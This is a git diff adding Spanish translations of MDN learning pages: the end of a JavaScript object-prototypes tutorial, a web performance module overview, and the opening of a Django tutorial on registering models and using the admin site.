+<p>Como verá en la siguiente sección, las propiedades definidas en la propiedad Person.prototype (o en general en la propiedad <code>prototype</code> de una función de constructor, que es un objeto, como se mencionó en la sección anterior) se hacen disponibles a todas las instancias de objetos creadas utilizando el constructor <code>Person()</code>. Por lo tanto, la propiedad del constructor también está disponible tanto para los objetos <code>person1 </code>como para los objetos <code>person2</code>.</p>
+
+<ol>
+ <li>Por ejemplo, pruebe estos comandos en la consola:
+  <pre class="brush: js notranslate">person1.constructor
+person2.constructor</pre>
+
+  <p>Ambos deberían devolver el constructor <code>Person()</code>, ya que contienen la definición original de esas instancias.</p>
+
+  <p>Un truco interesante es que se puede añadir paréntesis al final de la propiedad <code>constructor</code> (añadiendo todos los parámetros requeridos) para crear otra instancia desde ese constructor. Después de todo, el constructor es una función, por lo que puede ser invocada usando paréntesis; solamente se necesita incluir la palabra clave <code>new</code> para especificar que se quiere usar la función como un constructor.</p>
+ </li>
+ <li>Inténtese esto en la consola:
+  <pre class="brush: js notranslate">let person3 = new person1.constructor('Karen', 'Stephenson', 26, 'female', ['playing drums', 'mountain climbing']);</pre>
+ </li>
+ <li>Ahora intente acceder a las características del nuevo objeto, como:
+  <pre class="brush: js notranslate">person3.name.first
+person3.age
+person3.bio()</pre>
+ </li>
+</ol>
+
+<p>Esto funciona. No se necesita usarlo con frecuencia, pero puede ser realmente útil cuando se quiera crear una instancia nueva y por alguna razón no se tenga disponible fácilmente una referencia al constructor original.</p>
+
+<p>La propiedad <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor">constructor</a></code> tiene otros usos. Por ejemplo, si se tiene una instancia y se quiere devolver el nombre del que el constructor es una instancia, se puede usar lo siguiente:</p>
+
+<pre class="brush: js notranslate">instanceName.constructor.name</pre>
+
+<p>Intente esto, por ejemplo:</p>
+
+<pre class="brush: js notranslate">person1.constructor.name
+</pre>
+
+<div class="note">
+<p><strong>Nota</strong>: El valor de <code>constructor.name</code> puede cambiar (debido a herencia de prototipos, binding, preprocesores, transpiladores, etc.), por lo que para ejemplos más complejos es preferible usar el operador <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></code> en su lugar. </p>
+</div>
+
+<ol>
+</ol>
+
+<h2 id="Modificando_prototipos">Modificando prototipos</h2>
+
+<p>Vamos a echar un vistzo a un ejemplo para modificar la propiedad <code>prototype</code> de una función constructor (los métodos añadidos a la propiedad prototipo están disponibles en todas las instancias de los objetos creados a partir del constructor).</p>
+
+<ol>
+ <li>Regresemos a nuestro ejemplo <a href="http://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html">oojs-class-further-exercises.html</a> y creemos una copia local del <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html">código fuente</a>. Debajo del código JavaScript existente, agrega el siguiente código, el cuál añade un nuevo método a la propiedad <code>prototype</code> del constructor:
+
+  <pre class="brush: js notranslate">Person.prototype.farewell = function() {
+  alert(this.name.first + ' has left the building. Bye for now!');
+};</pre>
+ </li>
+ <li>Guarda el código y abre la página en el navegador, e ingresa lo siguiente en la entrada de texto.
+  <pre class="brush: js notranslate">person1.farewell();</pre>
+ </li>
+</ol>
+
+<p>Deberías obtener un mensaje de alerta mostrando el nombre de la persona como se define dentro del constructor. Esto es realmente útil, pero lo que es más útil es que toda la cadena de herencia se ha actualizado dinámicamente; automáticamente hace que este nuevo método esté disponible en todas las instancias del objeto creadas desde el constructor</p>
+
+<p>Piensa sobre esto por un momento. En nuestro código definimos el constructor, luego creamos una insancia del objeto desde el constructor, después agregamos un nuevo método a el prototipo del constructor.</p>
+
+<pre class="brush: js notranslate">function Person(first, last, age, gender, interests) {
+
+  // property and method definitions
+
+}
+
+var person1 = new Person('Tammi', 'Smith', 32, 'neutral', ['music', 'skiing', 'kickboxing']);
+
+Person.prototype.farewell = function() {
+  alert(this.name.first + ' has left the building. Bye for now!');
+};.</pre>
+
+<p>Pero el método <code>farewell()</code> aún se encuentra disponible en la instancia <code>person1</code>, su funcionalidad disponible ha sido automáticamente actualizada incluído en método recién definido <code>farewell()</code>.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si estás teniendo problemas haciendo funcionar este ejemplo, echa un vistazo en nuestro ejemplo <a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-prototype.html">oojs-class-prototype.html</a> (<a href="http://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-prototype.html">míralo ejecutarse en tiempo real</a>).</p>
+</div>
+
+<p>Raramente verás propiedades definidas en la propiedad <code>prototype</code>, ya no son muy flexibles cuando son definidas de esta forma. Por ejemplo, puedes añadir una propiedad como esta:</p>
+
+<pre class="brush: js notranslate">Person.prototype.fullName = 'Bob Smith';
+</pre>
+
+<p>Esto no es muy flexible, ya que la persona podría no llamarse así. Sería mucho mejor construir <code>fullname</code> desde <code>name.first</code> y <code>name.last</code>.</p>
+
+<pre class="brush: js notranslate">Person.prototype.fullName = this.name.first + ' ' + this.name.last;
+</pre>
+
+<p>Sin embargo esto no funciona, ya que <code>this</code> estará referenciando al scope global en este caso, no al scope de la función. Llamar esta propiedad retornaría <code>undefined undefined</code>. Esto funcionó bien en el método que declaramos anteriormente dentro del prototipo, porque se encuentra dentro del scope de la función, que se transferirá con éxito al scope de la instancia del objeto.Así que deberías definir propiedades constantes en el prototipo (p.e. una que nunca necesite cambiar), pero generalmente funciona mejor definir propiedades dentro del constructor.</p>
+
+<p>De hecho, un patrón bastante común para la mayoría de definiciones de objetos es declarar las propiedades dentro del constructor, y los métodos en el prototipo. Esto hace el código más fácil de leer, ya que el constructor sólo contiene las definiciones de propiedades, y los métodos están en bloques separados. Por ejemplo:</p>
+
+<pre class="brush: js notranslate">// Constructor with property definitions
+
+function Test(a, b, c, d) {
+  // property definitions
+}
+
+// First method definition
+
+Test.prototype.x = function() { ... };
+
+// Second method definition
+
+Test.prototype.y = function() { ... };
+
+// etc.
+</pre>
+
+<p>Este patrón puede verse en acción en el ejemplo de la <a href="https://github.com/zalun/school-plan-app/blob/master/stage9/js/index.js">aplicación de planificador escolar</a> de Piotr Zalewa.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este articulo ha cubierto prototipos de objeto JavaScript, incluyendo como las cadenas de objeto prototipo permiten a los objetos heredar caracteristicas de una a otra, la propiedad prototipo y como puede ser usado para agregar metodos a los constructores, y otros temas relacionados.</p>
+
+<p>En el proximos articulo vamos a ver como puedes implementar la herencia de funcionalidades entre dos de tus propios objetos personalizados.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Basics">Object basics</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object-oriented_JS">Object-oriented JavaScript for beginners</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_prototypes">Object prototypes</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Inheritance">Inheritance in JavaScript</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/JSON">Working with JSON data</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Object_building_practice">Object building practice</a></li>
+ <li><a href="/en-US/docs/Learn/JavaScript/Objects/Adding_bouncing_balls_features">Adding features to our bouncing balls demo</a></li>
+</ul>
diff --git a/files/es/learn/performance/index.html b/files/es/learn/performance/index.html
new file mode 100644
index 0000000000..ebe81969aa
--- /dev/null
+++ b/files/es/learn/performance/index.html
@@ -0,0 +1,113 @@
+---
+title: Rendimiento web
+slug: Learn/Performance
+translation_of: Learn/Performance
+---
+<p>{{LearnSidebar}}{{draft}}</p>
+
+<p class="summary">La construcción de sitios web requiere HTML, CSS y JavaScript. Para crear sitios web y aplicaciones que la gente quiera usar, que atraigan y retengan a los usuarios, debe crear una buena experiencia de usuario. Parte de la buena experiencia del usuario es garantizar que el contenido se cargue rápidamente y responda a la interacción del usuario. Esto se conoce como rendimiento web, y en este módulo aprenderá todo lo que necesita para crear sitios web de rendimiento.</p>
+
+<p> </p>
+
+<p>El rendimiento web es la medición objetiva y la experiencia percibida por el usuario del tiempo de carga y el tiempo de ejecución. El rendimiento web es el tiempo que tarda un sitio en cargarse, en ser interactivo y receptivo, y en el grado de fluidez del contenido durante las interacciones del usuario. ¿Es el desplazamiento suave? ¿Se puede hacer clic en los botones? ¿Las ventanas emergentes se abren rápidamente y se animan sin problemas al hacerlo? El rendimiento web incluye mediciones objetivas como el tiempo de carga, cuadros por segundo y tiempo para experiencias interactivas y subjetivas de cuánto tiempo tardó en cargarse el contenido.</p>
+
+<p>Muchas características afectan el rendimiento, incluida la latencia, el tamaño de la aplicación, la cantidad de nodos DOM, la cantidad de solicitudes de recursos realizadas, el rendimiento de JavaScript, la carga de la CPU y más. Es importante minimizar los tiempos de carga y respuesta, y agregar funciones adicionales para ocultar la latencia al hacer que la experiencia sea lo más accesible e interactiva posible, tan pronto como sea posible, mientras se carga de forma asíncrona en las partes más largas de la experiencia.</p>
+
+<p>Existen herramientas, API y mejores prácticas que nos ayudan a medir y mejorar el rendimiento web. Los veremos también en el curso de este módulo.</p>
+
+<p> </p>
+
+<h2 id="Camino_de_aprendizaje">Camino de aprendizaje</h2>
+
+<p> </p>
+
+<p>Si bien es necesario conocer HTML, CSS y JavaScript para implementar muchas recomendaciones de mejora del rendimiento web, saber cómo crear aplicaciones no es una condición previa necesaria para comprender y medir el rendimiento web.</p>
+
+<p>Varios de los módulos introductorios a continuación no requieren conocimientos de programación, aunque se necesita una comprensión de HTML para el módulo de rendimiento y HTML, se necesita una comprensión de CSS para el módulo de rendimiento y CSS, etc. Recomendamos que trabaje con nuestros módulos introductorios. primero, comenzando con <a href="/en-US/docs/Learn/Performance/What_is_Performance">qué es el rendimiento web </a>primero. Los módulos introductorios proporcionan una visión general del rendimiento web. Los tres primeros deben considerarse como lectura obligatoria si usted es un desarrollador o gerente de proyectos. Los módulos enfocados en temas de tecnología son más apropiados para los desarrolladores que utilizan estas tecnologías.</p>
+
+<p> </p>
+
+<p>Los módulos avanzados profundizan en los temas que se resumen en los módulos introductorios y proporcionan una visión general de las API de rendimiento, las herramientas de análisis y prueba y los problemas de cuellos de botella en el rendimiento.</p>
+
+<p>Se recomienda que trabajes a través de <a href="/en-US/docs/Learn/Getting_started_with_the_web">Empezando con la web </a>antes de proceder con este tema. Sin embargo, hacerlo no es absolutamente necesario.</p>
+
+<h2 id="Modulos_de_introducción">Modulos de introducción</h2>
+
+<p>Este tema contiene los siguientes módulos, en un orden sugerido para trabajar a través de ellos. Definitivamente debes comenzar con el primero.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Performance/What_is_performance">¿Qué es el rendimiento web?</a></dt>
+ <dd>Este artículo inicia el módulo con una buena visión de lo que realmente es el rendimiento: esto incluye las herramientas, métricas, API, redes y grupos de personas que debemos considerar al pensar en el rendimiento y cómo podemos hacer que el rendimiento sea parte de nuestra web. flujo de trabajo de desarrollo.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Perceived_performance">¿Cómo perciben los usuarios el rendimiento?</a></dt>
+ <dd>
+ <p>Más importante que la rapidez de su sitio web en milisegundos, es la rapidez con la que los usuarios perciben su sitio. Estas percepciones se ven afectadas por el tiempo real de carga de la página, el ralentí, la capacidad de respuesta a la interacción del usuario y la suavidad del desplazamiento y otras animaciones. En este artículo, analizamos las diversas métricas de carga, animación y métricas de capacidad de respuesta, junto con las mejores prácticas para mejorar la percepción del usuario, si no los tiempos reales.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Basics">Rendimiento web básico</a></dt>
+ <dd>Además de los componentes frontales de HTML, CSS, JavaScript y archivos multimedia, hay características que pueden hacer que las aplicaciones sean más lentas y características que pueden hacer que las aplicaciones sean subjetivamente y objetivamente más rápidas. Existen muchas API, herramientas de desarrollo, mejores prácticas y malas prácticas relacionadas con el rendimiento web. Aquí presentaremos muchas de estas funciones al nivel básico y proporcionaremos enlaces a inmersiones más profundas para mejorar el rendimiento de cada tema.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/HTML">Herramientas de rendimiento HTML </a></dt>
+ <dd>Algunos atributos y el orden de origen de su marcado pueden afectar el rendimiento o su sitio web. Al minimizar el número de nodos DOM, asegurándose de que se utilicen el mejor orden y los atributos para incluir contenido como estilos, scripts, medios y scripts de terceros, puede mejorar drásticamente la experiencia del usuario. Este artículo analiza en detalle cómo se puede usar HTML para garantizar el máximo rendimiento.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Multimedia">Multimedia: imágenes y vídeo</a></dt>
+ <dd>El fruto más bajo del rendimiento web es a menudo la optimización de medios. Es posible servir diferentes archivos multimedia según la capacidad, el tamaño y la densidad de píxeles de cada agente de usuario. Sugerencias adicionales como eliminar pistas de audio de videos de fondo pueden mejorar aún más el rendimiento. En este artículo, analizamos el impacto que el video, el audio y el contenido de la imagen tienen en el rendimiento y los métodos para garantizar que el impacto sea lo más mínimo posible.</dd>
+ <dt>Imágenes responsivas</dt>
+ <dd>Si bien la optimización de imágenes es vital para las experiencias de usuario ricas en medios de alto rendimiento, es especialmente importante garantizar que las imágenes tengan el tamaño adecuado para los dispositivos que las descargan. En este artículo, analizaremos la función de las características del navegador nativo, como el elemento &lt;picture&gt; y el atributo srcset en la entrega eficiente de imágenes, y cómo puede usarlas con confianza.</dd>
+ <dt>Formatos de medios alternativos</dt>
+ <dd>Cuando se trata de imágenes y videos, hay más formatos de los que probablemente conozca. Algunos de estos formatos pueden llevar sus páginas multimedia altamente optimizadas aún más lejos al ofrecer reducciones adicionales en el tamaño del archivo. En esta guía, analizaremos algunos formatos de medios alternativos, cómo usarlos de manera responsable para que los navegadores no compatibles no se queden al margen, y algunos consejos avanzados sobre la transcodificación de sus activos existentes.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/CSS">Características de rendimiento en CSS</a></dt>
+ <dd>CSS puede ser un enfoque de optimización menos importante para mejorar el rendimiento, pero hay algunas características de CSS que afectan el rendimiento más que otras. En este artículo analizamos algunas propiedades CSS que afectan el rendimiento y sugerimos formas de manejar los estilos para garantizar que el rendimiento no se vea afectado negativamente.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/JavaScript">Mejores prácticas de rendimiento en JavaScript </a></dt>
+ <dd>JavaScript, cuando se usa correctamente, puede permitir experiencias web interactivas e inmersivas, o puede dañar significativamente el tiempo de descarga, el tiempo de procesamiento, el rendimiento dentro de la aplicación, la duración de la batería y la experiencia del usuario. Este artículo describe algunas de las mejores prácticas de JavaScript que deben tenerse en cuenta para garantizar que incluso el contenido complejo tenga el mayor rendimiento posible.</dd>
+ <dt>Rendimiento de fuentes web</dt>
+ <dd>Un aspecto que a menudo se pasa por alto en el panorama del rendimiento son las fuentes web. Las fuentes web son más prominentes que nunca en el diseño web, sin embargo, muchos desarrolladores simplemente las incorporan desde un servicio de terceros y no piensan en ello. En este artículo, cubriremos métodos para obtener sus archivos de fuentes lo más pequeños posible con una configuración y sub configuración de archivos eficientes. A partir de ahí, continuaremos hablando sobre cómo los navegadores envían mensajes de texto y cómo puede usar las funciones de CSS y JavaScript para garantizar que sus fuentes se representen rápidamente y con una interrupción mínima de la experiencia del usuario.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/Performance/Mobile">Rendimiento móvil</a></dt>
+ <dd>Dado que el acceso a la web en dispositivos móviles es tan popular, y que todas las plataformas móviles tienen navegadores web completos, pero es posible que el ancho de banda, la CPU y la vida útil de la batería sean limitados, es importante considerar el rendimiento de su contenido web en estas plataformas. Este artículo analiza las consideraciones de rendimiento específicas para dispositivos móviles.</dd>
+</dl>
+
+<h2 id="Módulos_avanzados">Módulos avanzados</h2>
+
+<dl>
+ <dt>Poblando la pagina</dt>
+ <dd>Se realiza una solicitud HTTP y, con suerte, unos segundos más tarde, aparece el sitio. Mostrar el contenido implica ejecutar JavaScript, posiblemente modificar el DOM, calcular estilos, calcular el diseño y, finalmente, representar el contenido, lo que implica pintar y componer, y puede involucrar la aceleración de la GPU en un hilo separado.</dd>
+ <dt><a href="/en-US/docs/Learn/Performance/Latency">Entendiendo la latencia</a></dt>
+ <dd>
+ <p>La latencia es la cantidad de tiempo que tarda entre el navegador que realiza una solicitud de un recurso y el que recibe el primer byte del recurso solicitado. Este artículo explica qué es la latencia, cómo afecta el rendimiento y cómo medir y mejorar la latencia.</p>
+ </dd>
+ <dt>Entendiendo el ancho de banda</dt>
+ <dd>
+ <p>Bandwidth is the amount of data (measured in Mbps or Kbps) that can be sent per second. This article explains the role of bandwidth in media-rich internet applications, how it can be measured, and how you can optimize applications to make the best use of available bandwidth.</p>
+ </dd>
+ <dt>HTTP/2 y tú</dt>
+ <dd>
+ <p>La capa de transporte, es decir, HTTP, es absolutamente esencial para el funcionamiento de la web, y solo recientemente se ha visto una actualización importante en la forma de HTTP / 2. Fuera de la caja, HTTP / 2 proporciona muchas mejoras de rendimiento y ventajas sobre su predecesor, pero también cambia el panorama. En este artículo, aprenderá lo que HTTP / 2 hace por usted, y cómo ajustar su aplicación para que vaya más allá.</p>
+ </dd>
+ <dt>El rol de TLS en el rendimiento</dt>
+ <dd>
+ <p>TLS, o HTTPS, como solemos llamar, es crucial para crear experiencias de usuario seguras. Si bien el hardware ha reducido los impactos negativos que TLS ha tenido en el rendimiento del servidor, aún representa una porción sustancial del tiempo que pasamos esperando que los navegadores se conecten a los servidores. Este artículo explica el proceso de intercambio de TLS y ofrece algunos consejos para reducir este tiempo, como el grapado OCSP, los encabezados de precarga de HSTS y el posible papel de las sugerencias de recursos en el enmascaramiento de la latencia TLS para terceros.</p>
+ </dd>
+ <dt><a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Perfilando con el perfilador incorporado</a></dt>
+ <dd>Aprenda cómo perfilar el rendimiento de la aplicación con el generador de perfiles integrado de Firefox.</dd>
+ <dt>Gráficos de rendimiento de lectura</dt>
+ <dd>Las herramientas del desarrollador proporcionan información sobre el rendimiento, la memoria y las solicitudes de red. Saber leer <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">tablas de cascada</a>, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Call_Tree">árboles de llamadas, </a>Las herramientas del desarrollador proporcionan información sobre el rendimiento, la memoria y las solicitudes de red. Saber leer, <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Flame_Chart">tablas de llamas</a>, y <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations">localizaciones</a> en su navegador, las herramientas de desarrollo lo ayudarán a comprender los gráficos de cascada y llama en otras herramientas de rendimiento.</dd>
+ <dt><a href="/en-US/Apps/Build/Performance/CSS_JavaScript_animation_performance">Rendimiento de animaciones en CSS y JavaScript </a></dt>
+ <dd>Las animaciones son críticas para una experiencia de usuario placentera. Este artículo analiza las diferencias de rendimiento entre CSS y animaciones basadas en JavaScript.</dd>
+ <dt>Analizando paquetes de JavaScript</dt>
+ <dd>Sin duda, JavaScript es una gran parte del desarrollo web moderno. Si bien siempre debe esforzarse por reducir la cantidad de JavaScript que utiliza en sus aplicaciones, puede ser difícil saber dónde comenzar. En esta guía, le mostraremos cómo analizar los paquetes de scripts de su aplicación, para que sepa qué está utilizando y cómo detectar si hay scripts duplicados entre paquetes en su aplicación.</dd>
+ <dt>Lazy-loading JavaScript con importaciones dinámicas</dt>
+ <dd>Cuando los desarrolladores escuchan el término "carga perezosa", inmediatamente piensan en imágenes que se cargan por la mitad inferior de la página cuando se desplaza hacia la ventana gráfica. ¿Pero sabías que también puedes cargar JavaScript de forma perezosa? En esta guía hablaremos sobre la declaración dinámica de importación (), que es una característica de los navegadores modernos que carga un módulo de JavaScript a pedido. Por supuesto, ya que esta función no está disponible en todas partes, también le mostraremos cómo puede configurar sus herramientas para usar esta función de una manera ampliamente compatible.</dd>
+</dl>
+
+<dl>
+ <dt>Controlar la entrega de recursos con sugerencias de recursos</dt>
+ <dd>Los navegadores a menudo saben mejor que nosotros cuando se trata de la priorización y la entrega de recursos, pero están lejos de ser clarividentes. Las características nativas del navegador nos permiten sugerirle al navegador cuándo debe conectarse a otro servidor, o precargar un recurso antes de que el navegador sepa que lo necesita. Cuando se usa juiciosamente, esto puede hacer que la experiencia rápida parezca aún más rápida. En este artículo, cubrimos las características nativas del navegador como rel = preconnect, rel = dns-prefetch, rel = prefetch, y rel = precarga, y cómo usarlas para su ventaja.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Performance/Mobile_performance_checklist">Mobile performance checklist</a></li>
+ <li><a href="/en-US/docs/Web/Apps/Fundamentals/Performance/Optimizing_startup_performance">Optimizing Startup Performance</a><a href="/en-US/docs/Web/Apps/Fundamentals/Performance/Optimizing_startup_performance"> </a></li>
+</ul>
+
+<p>{{LandingPageListSubpages}}</p>
diff --git a/files/es/learn/server-side/django/admin_site/index.html b/files/es/learn/server-side/django/admin_site/index.html
new file mode 100644
index 0000000000..486d277003
--- /dev/null
+++ b/files/es/learn/server-side/django/admin_site/index.html
@@ -0,0 +1,372 @@
+---
+title: 'Tutorial Django Parte 4: Sitio de Administración de Django'
+slug: Learn/Server-side/Django/Admin_site
+tags:
+  - Aplicación web
+  - Artículo
+  - Codificación
+  - Django Admin
+  - Principiante
+  - Python
+  - Tutorial
+  - django
+  - django_admin
+  - programacion
+translation_of: Learn/Server-side/Django/Admin_site
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Django/Models", "Learn/Server-side/Django/Home_page", "Learn/Server-side/Django")}}</div>
+
+<p class="summary">Ahora que hemos creado modelos para el sitio web de la <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Tutorial_local_library_website">BibliotecaLocal</a>, usaremos el sitio de administración de Django para añadir algunos datos de libros "reales". Primero mostraremos cómo registrar los modelos en el sitio de administración y luego te mostraremos cómo iniciar sesión y crear algunos datos. Al final del artículo mostraremos algunas formas en las que puedes mejorar más adelante la presentación del sitio de Administración.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Pre-requisitos:</th>
+   <td>Primero completa: <a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django/Models">Tutorial Django Parte 3: Uso de modelos</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>
+    <p>Entender los beneficios y las limitaciones del sitio de administración de Django, y usarlo para crear algunos registros para nuestros modelos.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Introducción">Introducción</h2>
+
+<p>La <em>aplicación</em> de administración de Django puede usar tus modelos para construir automáticamente un área dentro del sitio que puedes usar para crear, consultar, actualizar y borrar registros. Esto puede ahorrarte mucho tiempo de desarrollo, haciendo muy fácil probar tus modelos y darte una idea de si tus datos son correctos. La aplicación de administración también puede ser útil para manejar datos en producción, dependiendo del estilo del sitio web. Desde el proyecto Django solo se recomienda para gestión de datos internos (por ejemplo, solo para uso de administradores o personas internas de tu organización), ya que como enfoque centrado en el modelo no es necesariamente la mejor interfaz posible para todos los usuarios, exponiendo una gran cantidad de detalles innecesarios de los modelos.</p>
+
+<p>Toda la configuración requerida para incluir la aplicación admin en tu sitio Web fue hecha automaticamente cuando  <a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">creaste el esqueleto del proyecto</a> (para información sobre dependencias reales necesarias, vea los <a href="https://docs.djangoproject.com/en/1.10/ref/contrib/admin/">documentos de Django aquí</a>). Como resultado, todo lo que  <strong>debes</strong> hacer para agregar tus modelos a la aplicación admin  es  <em>registrarlos.</em> Al final de este artículo entregaremos una breve demostración sobre como puedes configurar aún más el área de administración para mejorar la visualización de nuestros modelos de datos.</p>
+
+<p>Después de registrar los modelos te mostraremos como crear un nuevo "administrador", iniciar sesión en el sitio, y crear algunos libros, autores, instancias de libros, y géneros. Esto será útil para probar las vistas y plantillas que empezaremos a crear en el siguiente tutorial.</p>
+
+<h2 id="Registrando_los_modelos">Registrando los modelos </h2>
+
+<p>Primero,  abre <strong>admin.py</strong> en la aplicación catálogo (<strong>/locallibrary/catalog/admin.py</strong>). Actualmente se ve como esto — notar que ya importa <code>django.contrib.admin</code>:</p>
+
+<pre class="brush: python">from django.contrib import admin
+
+# Register your models here.
+</pre>
+
+<p>Registra los modelos copiando el texto siguiente al final del archivo. Este simple código esta importando los modelos y después llama a  <code>admin.site.register</code> para registrar a cada uno de ellos.</p>
+
+<pre class="brush: python">from .models import Author, Genre, Book, BookInstance
+
+admin.site.register(Book)
+admin.site.register(Author)
+admin.site.register(Genre)
+admin.site.register(BookInstance)
+</pre>
+
+<div class="note"><strong>Nota</strong>: Si tu aceptaste el desafío de crear un modelo que represente el Lenguaje natural de un libro (<a href="/en-US/docs/Learn/Server-side/Django/Models">ver el artículo tutorial de modelos</a>), importalo y registralo también!</div>
+
+<p>Esta es la forma más simple de registrar un modelo, o modelos, con el sitio. El sitio de administración es altamente personalizable,  y hablaremos más sobre otras formas de registrar tus modelos más abajo.</p>
+
+<h2 id="Creando_un_administrador">Creando un administrador</h2>
+
+<p>Para iniciar sesión en el sitio de administración, necesitamos una cuenta de usuario con estado de <em>Personal</em> habilitado. Para ver y crear registros tambien necesitamos que este usuario tenga permisos para administrar todos nuestros objetos. Puedes crear una cuenta  "administrador" que tenga acceso total al sitio y a todos los permisios necesarios usando <strong>manage.py</strong>.</p>
+
+<p>Usa el siguiente comando, en el mismo directorio de <strong>manage.py</strong>, para crear al administrador. Deberás ingresar un nombre de usuario, dirección email, y una  contraseña <em>fuerte</em>.</p>
+
+<pre class="brush: bash">python3 manage.py createsuperuser
+</pre>
+
+<p>Una vez el comando termine un nuevo administrador será agregado a la base de datos. Ahora reinicia el servidor de desarrollo para que podamos probrar el inicio de sesión:</p>
+
+<pre class="brush: bash">python3 manage.py runserver
+
+</pre>
+
+<h2 id="Iniciar_sesión_y_usar_el_sitio">Iniciar sesión y usar el sitio</h2>
+
+<p>Para iniciar sesión en el sitio, ve a la URL <em>/admin</em> (e.j. <a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin</a>) e ingresa tus credenciales de id usuario y contraseña de administrador (serás redirigido a la página <em>login</em>, y entonces volverás a la URL de <em>/admin</em> después de haber ingresado tus datos).</p>
+
+<p>Esta parte del sitio muestra todos tus modelos, agrupados por aplicación instalada. Puedes hacer click en un nombre de modelo para ir a una pantalla que lista todos los registros asociados, y además puedes hacer click sobre esos registros para editarlos. También puedes hacer click directamente sobre el vínculo <strong>Añadir</strong> a continuación de cada modelo para comenzar a crear un registro de ese tipo.</p>
+
+<p><img alt="Admin Site - Home page" src="https://mdn.mozillademos.org/files/13975/admin_home.png" style="display: block; height: 634px; margin: 0px auto; width: 998px;"></p>
+
+<p>Haz click  sobre el vínculo <strong>Añadir</strong> a la derecha de <em>Books</em> para crear un nuevo libro, esto mostrará un diálogo parecido al de abajo). Nota como los títulos de cada campo, el tipo de widget usado, y el <code>help_text</code> (si existe) corresponde con el valor que especificaste en el modelo. </p>
+
+<p>Ingresa valores para los campos. Puede crear nuevos autores o géneros presionandoel botón <strong>+</strong> a continuación del campo respectivo ( o seleccionar un valor existente de las listas si ya las tenías creadas). Cuando termines puedes presionar  <strong>Grabar</strong>, <strong>Grabar y añadir otro</strong>, o <strong>Grabar y continuar editando</strong> para guardar el registro.</p>
+
+<p><img alt="Admin Site - Book Add" src="https://mdn.mozillademos.org/files/13979/admin_book_add.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p>
+
+<div class="note">
+<p><strong>Nota</strong>: En este punto nos gustaría que pasaras algún tiempo añadiendo unos pocos libros, autores, y géneros (ej. Fantasía) a tu aplicación. Asegúrate de que cada autor y género incluye un par de libros diferentes (esto hará tus vistas de lista y detalle más interesantes cuando las implementemos más tarde en la serie de artículos).</p>
+</div>
+
+<p>Cuando hayas terminado de añadir libros, haz click en el enlace <strong>Home </strong>en el separador de arriba para regresar a la página principal de administración. Luego haz click en el enlace <strong>Books </strong>para desplegar la lista actual de libros (o en alguno de los otros enlaces para ver las listas de otros modelos). Ahora que haz añadido unos cuantos libros, la lista debería lucir similar a la captura de pantalla de abajo. Se muestra el título de cada libro; que es el valor devuelto por el método <code>__str__()</code> del modelo Book que especificamos en el artículo anterior.</p>
+
+<p><img alt="Admin Site - List of book objects" src="https://mdn.mozillademos.org/files/13935/admin_book_list.png" style="border-style: solid; border-width: 1px; display: block; height: 407px; margin: 0px auto; width: 1000px;"></p>
+
+<p>Desde esta lista puedes eliminar libros marcando la casilla de verificación junto al libro que no deseas y seleccionando la acción <em>delete... </em>en la lista de selección <em>Action</em>, y luego presionando el botón <strong>Go</strong>. Puedes también añadir nuevos libros presionando el botón <strong>ADD BOOK</strong>.</p>
+
+<p>Puedes editar un libro haciendo click en su nombre en la lista. La página de edición para un libro, como se muestra abajo, es casi idéntica a la página "Add". Las principales diferencias son el título de la página (<em>Change book</em>) y la adición de los botones <strong>Delete</strong>, <strong>HISTORY </strong>y <strong>VIEW ON SITE </strong>(este último aparece porque definimos el método <code>get_absolute_url()</code> en nuestro modelo).</p>
+
+<p><img alt="Admin Site - Book Edit" src="https://mdn.mozillademos.org/files/13977/admin_book_modify.png" style="border-style: solid; border-width: 1px; display: block; height: 780px; margin: 0px auto; width: 841px;"></p>
+
